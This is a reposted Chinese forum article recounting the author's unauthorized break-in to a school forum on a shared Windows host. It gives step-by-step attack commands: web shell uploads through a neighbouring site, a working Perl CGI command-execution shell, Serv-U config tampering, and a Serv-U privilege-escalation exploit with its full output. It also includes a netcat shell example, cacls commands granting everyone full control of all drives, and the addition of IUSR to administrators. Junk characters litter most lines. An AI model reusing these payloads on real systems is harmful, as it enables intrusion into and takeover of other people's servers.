找回密码
 立即注册
查看: 2526|回复: 0
打印 上一主题 下一主题

剑走偏锋——灵巧的旁注攻击

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:11:50 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
剑走偏锋——灵巧的旁注攻击 + N5 n- L& M* D' S; z8 n( E
本文作者:angel% j7 w- x3 r( |- \5 E
文章性质:原创: k1 _% D6 m$ \4 N- f# w1 j# C
发布日期:2004-11-09 , R: }# n. J( \, `
注意:% m, G% g: _2 `. M8 D
本文的技术并不是最新的,涉及到的技术含量也不是很多,重要的是其中的渗透思路。+ W& m8 y9 T0 n6 H! E" D1 [
本文已在《黑客X档案》11月刊发表,版权归本站及其杂志社所有。
5 i- H5 l. K9 ^( b4 h% ^; N0 U0 Z, c  f8 t5 L0 b5 k. W
  终于高中毕业了,一定要在暑假努力学习,发奋学习,以前入侵少之又少,都是研究这样研究那样,实战经验太欠缺了,所以决定暑假恶补一下渗透技术,顺便又可以看看国内主机的安全性。暑假 6 月整整学习了一个月的渗透,从 xiaolu 身上学习到不少好的思路和经验。在此谢谢 xiaolu 了。
$ E1 r& l* S6 D
' i, S2 m% w$ M3 M4 w. B  一个多月的时间里,渗透过上百台服务器,有独立的,有虚拟主机的,有群组的,有国内和国外,我发现一个极其严重的问题,国外的服务器,普遍安全性都非常高,管理员的安全意识非常高,做个比例,如果国内平均每 10 台服务器,能渗透进去 6 台甚至更多,那国外、台湾的,平均每 10 台服务器仅仅能渗透 1 台。当然我的水平也是一个问题。可是却反映出国内的管理员的水平的的确确比国外的要差几个档次。国内的管理员的技术和意识,迫切需要大幅度提高。
# r! m% c. g- B( h( Q
( O# m& `$ Q" V! S' T+ u  不过国内的也有比较 BT 的管理员,我就遇见几个服务器设置得非常。其中一个的 Documents and Settings 目录下还有 nsfocus 目录,难道是 nsfocus 公司帮做的安全?这个服务器我们没有拿下,还有另外一个,就是今天的重点。 0 h6 |# s: }0 h( h8 }3 C

$ D3 u5 M7 a+ v9 P  一次看见了一个学校论坛(http://www.school.com),还蛮火爆的,顿时兴趣来了, ping 了一下,发现 4 个包都返回 Request timed out. 估计是搞了策略或者防火墙的,象我这种以 Web 安全的,自然喜欢从站点上找漏洞,自从学习 Web 开始,我就落下一个怪癖,就是如果实在从 Web 上找不到什么漏洞,宁愿放弃也不用什么漏洞扫描器。 3 }" K, O/ F( f

5 [8 ~9 e+ o  u  大概看了看站点。就是一个论坛,采用 LeadBBS ,拿这个论坛没辙,还有其他办法,因为刚才我访问这个 IP ,返回“No web site is configured at this address.”,初步判断是虚拟主机,前段时间那几个黑站狂黑站的成功几率为什么这么高?因为有 http://whois.webhosting.info 这个网站,可以查询一个 IP 上,绑定了多少个域名。如果真的是虚拟主机,这个学校论坛没有漏洞,不代表其他站点就没有,很快的,我就通过一个小公司站点( http://anyhost/ )上的 DVBBS 6.0 传了一个 aspshell 上去,谁知道仅仅能够对自己的目录进行操作。而且自己的目录没有执行程序的权限,又用不了 Nfso ,手工跳转 URL 中的目录,也没有多少个可以浏览的,重要的 Program Files 和 Documents and Settings 目录都看不了,从 aspshell 反馈的信息来看,每个站点都设置了单独的用户,似乎一切都陷入僵局。
2 P9 c5 h  _) E) x8 q& I2 Q# ^5 f2 A, c2 x9 B- R
  没有目的的跳转目录着…… 5 g, _( U% O7 F' n2 j6 `
+ n9 r% ?! O, s3 }% A$ n. Q
  我习惯性的在 URL 跳转到 c:\php,没想到居然可以看见了,那这个主机很可能就会支持 php 了,马上传了一个 phpspy 上去,非常幸运,顺利看到了登陆入口,可是没想到进入以后才发现,php.ini 亦设置得异常 BT,安全模式打开了, phpinfo 函数也被禁用了,看不了详细的系统信息,不过看 phpspy 自带的探针可以发现,allow_url_fopen、display_errors、 register_globals 统统关闭,system、passthru、exec、shell_exec 几个函数都无一幸免的被禁用了,直接跳转目录还是只可以看到这些目录而已,各个站点的目录都是类似于 “D:\websites\school.com#dlfjurdlkfjk” 这样的,每个站点目录后面的那些字符串都不一样,也跳转不到,后来我猜测后面的字符串就是 ftp 密码,试验了一下,无法登陆,看似柳暗花明,希望又破灭了……
' J8 S! P: l, m  h$ P5 D/ t
/ @9 ]/ d) d2 }  结束了吗?不,我试着 FTP 一下: + t& k: l# l$ g/ Z; x1 C8 R
8 u: c" C# Z3 Y0 t8 C
Microsoft Windows 2000 [Version 5.00.2195]
% [* p" I# f! P* G- x+ o(C) 版权所有 1985-2000 Microsoft Corp.
  ]3 g5 ~4 Z0 q! ]4 R3 _' k: L5 W+ a
; E7 C4 w4 h$ \C:\Documents and Settings\Administrator>ftp www.school.com
/ c' A0 I  L1 s% J4 cConnected to www. school.com.
, U; \1 `( ]: h. K220 Welcome to FTP Server...
, q9 M# B  R. h+ WUser (www.bjtrq.com:(none)): * r! _8 x* P/ z" S1 L6 |$ e
331 User name okay, need password.
5 K  D* A" G9 b  B, ^: _/ F1 }Password:
9 i8 [' H# E+ o! q( ^# i) l+ R! n530 Not logged in.
, f# L+ r$ ~8 K/ g' g4 C4 v' XLogin failed. 7 M5 @1 `$ S' W6 q4 P
ftp> bye : R% R: ^1 Q% m) b5 C5 O4 e6 R
221 Goodbye! ; A% G* X0 u# \7 S' J; I1 B
' W6 f8 Y$ w* v

* e3 }# P, K) t' k" y7 r% V  从返回的信息判断,我们还是有希望的。尽管他修改了 FTP Server 的 Banner,但是从 User name okay, need password. 这句我们还是大胆的判断这个服务器就是采用 Serv-U ,我上手有目前所有版本 Serv-U 本地提升权限的 Exploit ,如果我能传一个上去,并且能够执行,一切就明朗了。再仔细想想有哪个目录可以写的?当时在 c:\php 目录下没有发现 sessiondata 目录,而且也不是自动安装版,估计管理员把 session 的目录换到其他地方了,不然这个目录是 everyone 可写的……
4 O4 A% q9 M+ @) ^* F" J9 O! U# ~* f( j% G+ t
  原来我还忘记了一个最重要的目录, C:\Documents and Settings\All Users ,从这个目录可以知道很多信息,这个目录一般、至少都是 everyone 可读的,这样我们就可以知道好多有用的信息了,直接通过我的 aspshell 手工跳转到这个目录,呵呵。马上看到了想看的目录树。 8 z% |" z8 I2 t1 D

! w' j8 [( N4 u0 bApplication Data$ h3 Z! c# \& i- u" [
Documents
/ E; P  y9 `0 x8 \4 G: u! @! FDRM
4 j2 _" M+ O- H) V* x1 kFavorites
6 g9 t# b8 ?9 t0 m/ i8 F* o& oTemplates1 @4 ^; r4 T. h; G# A* b
「开始」菜单
7 F& Y7 ?2 i5 E/ A* d6 b桌面
1 n/ n6 e6 [3 E" o1 K& l( W
7 q  Y2 P; B! J- y8 M) n$ o! Z* Y6 L& T7 \4 a
  马上试试建目录,可惜里面的目录包括子目录都无法新建, BT 管理员权限设置得还真严格,不过我们还是有收获的,那就是 “C:\Documents and Settings\All Users\ 「开始」菜单 \ 程序 \”目录里,看到了很多决定结果的有用信息, + R- X! N0 k/ _
% N% C; Y% a. e
ActiveState ActivePerl 5.81 D% u" |# O4 D, i4 V! c9 D/ k
Administrative Tools
- N; P  a, T% x, q9 kDeerfield.com! K/ t) r- a5 z  h4 B
DTemp  z! `  h$ U% V& i$ B8 |3 u/ e
IPSentry1 C$ d" L5 ?; s2 \) H  z: R2 L& f) T
MBM 5# k2 T, I3 D8 i4 U3 L$ b. b, o
NetMeter
0 z' u9 r) X$ N7 INetwork ICE
7 r9 {3 {: n3 r9 t2 ?Persits Software AspEmail
: c' x) }1 B; K( v- W3 iPersits Software AspJpeg
, l: J% |. A2 W2 X; q$ NServ-U FTP Server
3 G2 i$ U! m! tSymantec Client Security1 L8 b9 L4 D" P# ^$ R0 C
Windows 优化大师
8 i. L- I6 e3 F* n8 aWinRAR
1 |6 w2 z+ U7 o( X启动- g5 ^/ D% N# Y( w4 a* Z
管理工具7 |- L! |1 X; c
附件
# K  J- [! X5 p( e( R# @6 c! M 8 `' A# a* s' K/ ]# H: R
( _& W/ F% k3 h* Y9 m
  呵呵,现在我们知道了好多有用的信息了,看着这些东西,可以看得出管理员对安全、效率很在意,装了 Perl,也就是说可能支持 cgi 了, IPSentry 这个可以实时检测网站的各类服务, 当某服务停止时, 该软件会打 Pager, 或 EMAIL,或发声,或运行其它软件来提醒管理员,确保服务器出现问题能及时处理,说明管理员比较负责任,NetMeter 可以对网络流量进行监控,装了黑冰防火墙和诺顿杀毒服务器版,说明管理员对于服务器的安全是很小心的,这还不算,还装了另外一个防火墙——VisNetic Firewall,真是 BT 到家了,装了优化大师,看得出这个管理员还是比较爱清洁的。从管理工具里面我们还看到了终端服务客户端生成器.lnk 、终端服务配置.lnk ,还有终端服务,这下好了,说不定顺利就可以多一台 3389 肉鸡了。 5 A8 `: P1 p3 w4 W

, p' R: G4 T- D" Z7 `  先通过 aspshell 下载 Serv-U 的任意一个快捷方式,然后本地查看属性的目标,呵呵,原来 Serv-U 的目录是 "C:\Program Filesewfq4qrqtgy4635\Serv-U\" ,这下好了,直接跳转目录。OH~,yes~~,看到了,马上修改 ServUDaemon.ini文件,这个服务器居然放了 280 个用户,狂晕……不管了,先在添加 [Domain1] 里加一行: 4 i2 m. B2 J$ b6 u

- s+ M4 F: y/ eUser281=angel|1|0 2 c( x' C) i: H, A
. R3 F5 u4 e2 T; q  \9 D
6 j  {/ C& W. p  ^* @/ B
  然后加上
6 i7 d% K; S4 k! q$ `; |
, J) l/ i9 S& a% A" b[USER=angel|1]
. _2 K7 N7 V5 M6 X, zPassword=ng98F85379EA68DBF97BAADCA99B69B805" y; K% ~( B3 @5 o+ i6 G& Y
HomeDir=D:\websites
+ e2 G) r) p$ {4 s) U$ zRelPaths=11 [7 @9 s- ]) {; ~
TimeOut=600  F2 _  W- c6 ?
Maintenance=System( h+ H2 g. P0 O  j) v! f; O) Y
Access1=D:\websites|RWAMELCDP
# n! h1 m# j- P# m9 k9 z5 _SKEYValues=- {. j- Y7 v% D( v) j( B$ ]
/ B) [( A9 W' p/ V
" N1 k4 m( r& A3 ~  e
  添加一个 angel,密码为 111111 的用户,具有最高权限执行,然后我们就可以 ftp 上去 quote site exec xxxxxxxx 了,嘻嘻偷笑中…… 2 m5 p7 T5 e2 _; m8 J( L
) p$ f( ~6 p' g) h4 \, R
  不过残酷现实再一次粉碎了我的计划,修改好文件以后提交,居然是没有修改成功,看来还是权限,权限权限整惨人啊。 . o2 I) i( D3 L) z5 [0 q

. w* m9 n: ]& b4 D% U0 }& `- X+ ~& U  不过还是有希望的,因为刚才我们看到了系统装了黑冰,有些版本存在“ISS RealSecure/BlackICE 协议分析模块 SMB 解析堆溢出漏洞”,可以远程利用的,手头上没有编译器,没有办法编译代码。
% a7 n0 s! C7 J1 a8 ?: [+ W
3 V4 x% V. I7 o' u, R+ a3 |  还有就是 Perl,这个是个很大的突破口,因为 Perl 目录一般要 erveryone 完全控制的,不管他用 isap 还是 perl.exe 一般都是可写、可执行的,马上下载 Perl 的快捷方式来看看路径,呵呵,看到了,原来 D:\user\bin 就是存放 perl 的 bin 目录下的所有文件,这么说这个目录可能可以写,也可能可以执行咯,马上传一个 su.exe(针对目前所有版本的 Serv-U 本地提升权限漏洞)上去,呵呵,传上去了,太好了,现在就是执行了,刚才我们试了 aspshell、phpshell 都不行,现在就看最后的希望了,找呀找啊,终于在我硬盘上找到一个 cgishell,很老了,文件日期是 2002 年 6 月 30 日的,代码如下:
' P: D2 H7 o& }5 o- T, j& w3 D; n
#!/usr/bin/perl# |) R/ s3 z" l1 a& I: y
binmode(STDOUT);
7 u1 e% g/ P' r( n+ ~syswrite(STDOUT, "Content-type: text/html\r\n\r\n", 27);
8 N9 I2 L1 j7 m& k- N! b$_ = $ENV{QUERY_STRING};' A$ Z1 V+ G  M3 X
s/%20/ /ig;( r: N6 }3 t& f. o! Z, N
s/%2f/\//ig;  i% b' i2 W+ D
$execthis = $_;
% z% Q3 ]- X$ U5 |: O- f  tsyswrite(STDOUT, "<HTML><PRE>\r\n", 13);3 w' |: a3 N( a1 X
open(STDERR, ">&STDOUT") || die "Can't redirect STDERR";
+ p1 d) z4 p8 O6 D) asystem($execthis);
4 [/ `$ K7 d: G7 vsyswrite(STDOUT, "\r\n</PRE></HTML>\r\n", 17);
: b5 `7 U9 n# Mclose(STDERR);
5 y% n/ ?4 c; @  rclose(STDOUT);- e9 V" ~- X- L- {6 E$ O& _
exit;/ ^# ]$ H0 b/ u$ n7 u
6 E" U! u- \% e$ N

( [9 a5 C$ U& C4 x1 t; R  我用过最好的 cgishell ,保存为一个 cgi 文件执行,晕……居然不支持!一阵阵郁闷袭来,2 秒钟的郁闷后,想到还有一线希望,那就是pl ,我们还没有试试 pl 扩展呢,把刚才的 cgi 文件改为 pl 文件,提交 http://anyhost//cmd.pl?dir ,我的天啊!!
; F5 t7 S# D5 s2 |2 B7 U  c0 p) z+ q7 X+ W; O. K
  显示“拒绝访问”,终于可以执行了!太兴奋了,马上提交: : Z4 u4 P9 g0 \. f. Z) O! ?
. a* a% k0 o9 X
http://anyhost//cmd.pl?d:\user\bin\su.exe
$ A9 @% Z1 t; x1 n: U0 i
! a1 E) {) Y$ J3 y, T4 s
2 Z4 i+ K+ U0 `( ?4 ?  r  {  返回:
. M7 `/ D% v# f2 f# Z4 }% [# P/ ]( \7 A3 }: E
Serv-u >3.x Local Exploit by xiaolu
' m  Y7 \9 U$ p; k( Z$ D
. T6 ^* C9 P) o$ V' f2 tUSAGE: serv-u.exe "command"
/ v3 U6 x% d# c3 K# Z% P6 a3 |  r( ^+ {
Example: serv-u.exe "nc.exe -l -p 99 -e cmd.exe" 1 J7 _0 V  |3 w6 d: I$ Q3 \

( c2 e7 N$ ~# H2 F8 G/ g; z( @0 H7 g& a0 g/ N- o& h; n
  嘻嘻~~现在是 IUSR 权限,那又怎么样?看你这次还不死?提交:
$ r0 [/ a. g% r/ g* D
$ |) E2 H& o; N9 j, jhttp://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe c: /E /T /G everyone:F" / D1 Z* _* U; [
/ I% O1 z4 ]6 k, I/ E/ _
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe d: /E /T /G everyone:F"
) k/ t/ j0 p+ ]8 x/ k% v5 |- P8 n' V9 D5 v) n
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe e: /E /T /G everyone:F"
& ]; l( b0 |; q- Z7 L( G; U7 d9 v' Z% c( `6 n5 `; \. U7 H& j( Z
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe f: /E /T /G everyone:F"
3 O+ N1 `0 @) c3 N. I2 K# z" o
0 g9 K3 i" J  {3 p. n: s
" N4 V# O+ D2 Q2 K* h7 Z$ ^/ H9 f  返回下面的信息,就表示成功了!!! 1 u6 N) o2 o$ z  Y6 R0 S; d

; X% w( ]3 \, T1 p; lServ-u >3.x Local Exploit by xiaolu + s5 t  r" z" H, D4 W) q5 _

+ R9 F# n: C/ F& e0 Y7 o; k; E<220 Serv-U FTP Server v5.2 for WinSock ready...
3 H& c. q4 W6 D* Q. Y7 F  i$ d6 K6 h% `
>USER LocalAdministrator
) B! V( P$ I4 w* Y6 ~( b- @- ]) V
<331 User name okay, need password. / t0 v! _+ u/ ~2 @" d* `
3 `3 ~2 g# i* v0 {7 U
****************************************************** 2 _8 L) k* M: K. J' e! y7 \7 U5 P
9 H" g! N& t% f1 o  d- i
>PASS #l@$ak#.lk;0@P - p" x6 D) L7 V0 Q. V  S
8 J5 }% Y0 d- M# e7 B, [7 |
<230 User logged in, proceed. : X5 f' O. o( @1 ~9 ?
: S. f" A3 t9 d/ ?- n
******************************************************
% p. i& v" I: P+ z1 x! y6 h. ]. X9 {) _5 N* e  M
>SITE MAINTENANCE
4 X: u+ T. S$ c4 U2 B
, q$ c5 R# Y# x' v******************************************************
* H" z: l; X' U6 I
9 {. V) z7 n) V- V[+] Creating New Domain...
4 f0 \* D5 i6 g% e4 W; X' y9 r6 U* ^6 n5 v8 z1 h
<200-DomainID=2 2 c! k: y. ^* T9 E- Z
% u1 ~/ A- i* z) R3 v. v
<220 Domain settings saved
1 X" y4 L, I; L0 ]) g; @# n
0 Y3 S6 h* q: U******************************************************
) z$ x) A( w+ B
( b' N: E0 [6 T: m1 G3 Z[+] Domain xl:2 Created
, t5 o7 d/ M( s8 [8 R7 S1 p* ?2 [6 a6 _4 @+ B; C
[+] Creating Evil User
2 J% k9 \4 _$ T7 G0 w, T
( i8 K# L4 Z4 v$ y7 `( r9 V; K. `<200-User=xl
( s7 Z' {* X& v" n$ n. q2 h  G2 Y" o
200 User settings saved
( M- m6 v0 `' N) j2 K$ `
. [& d0 Q' t/ J* ^! D% l****************************************************** ( k3 S' v8 `, Q7 R9 C* m4 ?, m

, ?- V; [/ D  Z! K( O: s1 l[+] Now Exploiting...
) {. l( l: q8 K7 [4 ]/ L  B: }" j+ \& G! t/ z6 d
>USER xl ; O/ M3 p* s2 j$ r( A: m! c

! |% T# |( S$ \1 l3 p<331 User name okay, need password.
& r- e* _. c0 A3 v' N& r; h  A9 ~) j
****************************************************** 7 \& d  x" k8 L0 X9 D" S1 n

* G0 k$ Y! @6 s- o- h" s1 Q- \$ b3 @>PASS 111111 0 S; L; s+ _: h$ r
7 ?6 g) }, J, T1 w3 n
<230 User logged in, proceed.
( P  X+ v- M8 i) z$ |/ T
! ^% M' J# U. A******************************************************   K5 q8 s) D3 t! ]4 s4 E

7 \. [/ w$ u7 |/ C: B6 c[+] Now Executing: cacls.exe c: /E /T /G everyone:F
; A/ R4 t# I' Q5 D' }
( I+ r, I  v! D* n' o, D<220 Domain deleted   y7 w& d' e/ F* ?" }

# U) t( ?1 L% a+ Q6 R  k2 A3 h******************************************************
/ w6 [- A1 T/ j! z5 X6 S$ _
/ S8 A' Y/ b9 j+ k3 l, ^# c9 j, q) X% r. b
  每提交完一次都稍微等一下,因为这些命令需要时间处理的,不一会儿,就把所有分区设置为 everyone 完全控制了,可以任意操作硬盘的东西了,但是有些命令还是受了限制,因为权限还没有提升,现在我们把自己的用户提升为管理员: # c! q) j- t( H8 T  q

4 K8 f0 {3 y) ]% {0 T5 m* Chttp://anyhost//cmd.pl?d:\user\bin\su.exe " net localgroup administrators IUSR_anyhost /add" : f: d# U' e. I8 q* y7 z
9 t$ [5 ^5 U: y
* [& J& N5 m  y" o# {  ^5 S0 s
  现在我们通过 web 方式,执行的命令就是以 administrator 的身份执行的了,相信到这里,下面的事该做什么,大家应该知道了吧?马上找到那个学校的目录,进去咯~~目的达到了,本来还想做一个 3389 的肉鸡的,想想算了,这种 BT 管理员的地盘,我也占领不了多久,留点提示到他的桌面就 over 了。 + n' f0 v9 ~+ z5 G
& ?  F0 Y5 C, k7 D6 @
  说真的,搞安全这么久,从来没有遇见这么棘手的虚拟主机,要不是装了 Perl,还真是束手无策!本文技术含量不高,只是分享一下希望其中的思路,如果有一个人从中受益,这篇文章就完成它的使命了。" k/ F  z# {5 R6 L% t
+ \3 Y3 C1 T7 d9 i
  1 f* \2 I$ j, Z% X; ~+ r3 g( a  T
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表